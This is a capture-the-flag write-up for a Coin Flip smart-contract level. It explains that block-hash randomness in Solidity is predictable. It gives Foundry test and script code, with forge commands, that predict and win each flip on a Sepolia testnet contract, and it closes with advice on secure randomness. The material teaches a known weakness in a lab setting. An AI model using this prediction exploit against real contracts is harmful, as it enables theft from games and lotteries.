Overview
This level presents us with a coin flipping game. We need to maintain a winning streak of 10 by guessing the outcome of a coin flip.
The concept being taught here is the one about randomness. There is no inherit source of randomness in Ethereum thus to generate randomness, we need to rely on data from blocks i.e. block.number, hash, etc. As random as they might look, these variables are deterministic.
The function flip()
takes a bool
value i.e. true/false
and the value in consecutiveWins
increases if this supplied boolean matches the side
variable’s value and is reset to 0
if not.
The contract provided to us is:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
The side
variable which is compared here has blockvalue
as it’s source of randomness. Lets take a look at how it is generated:
uint256 blockValue = uint256(blockhash(block.number - 1));
The blockValue
is generated as such and then this value is divided by FACTOR
which is known to us as well and this result is stored in coinFlip
. If this value is 1
then side
is set to True
and if not, then it is set to False
. Since we have all the input variables to generate this value, we can create a contract to guess the correct outcome.
Proof-Of-Concept
We simply need to run our test script using the following command:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../original-contracts/level3.sol";
import "../lib/forge-std/src/Test.sol";
import "node_modules/@openzeppelin/contracts/math/SafeMath.sol";
contract POC is Test{
using SafeMath for uint256;
CoinFlip level3 = CoinFlip(<address>);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function test() external {
vm.startBroadcast();
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side) {
level3.flip(true);
} else {
level3.flip(false);
}
vm.stopBroadcast();
}
}
Command:
forge test --match-path test/test3.sol -vvvv
This will run our test, which can be broadcasted to the Sepolia testnet using the following script and command:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../original-contracts/level3.sol";
import "../lib/forge-std/src/Script.sol";
import "node_modules/@openzeppelin/contracts/math/SafeMath.sol";
contract POC is Script{
using SafeMath for uint256;
CoinFlip level3 = CoinFlip(0xa7604317Ebe188501578474781f18e8750d6FD3E);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function run() external {
vm.startBroadcast();
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side) {
level3.flip(true);
} else {
level3.flip(false);
}
vm.stopBroadcast();
}
}
Command:
forge script ./script/script3.sol --private-key $PKEY --broadcast -vvvv --rpc-url $RPC_URL
Following this, we need to execute this script 10 times so we have 10 consecutive wins. After having 10 wins, we can click “Submit the instance” to complete the level.
Learning
Generating randomness directly on Ethereum is challenging and complex. Since all blockchain data is publicly accessible, it's important to handle sensitive information carefully.
To generate secure random numbers, you can use the following methods:
Commitment schemes like RANDAO
Chainlink VRF (Verifiable Random Function)
Oracles as an external source of randomness
References: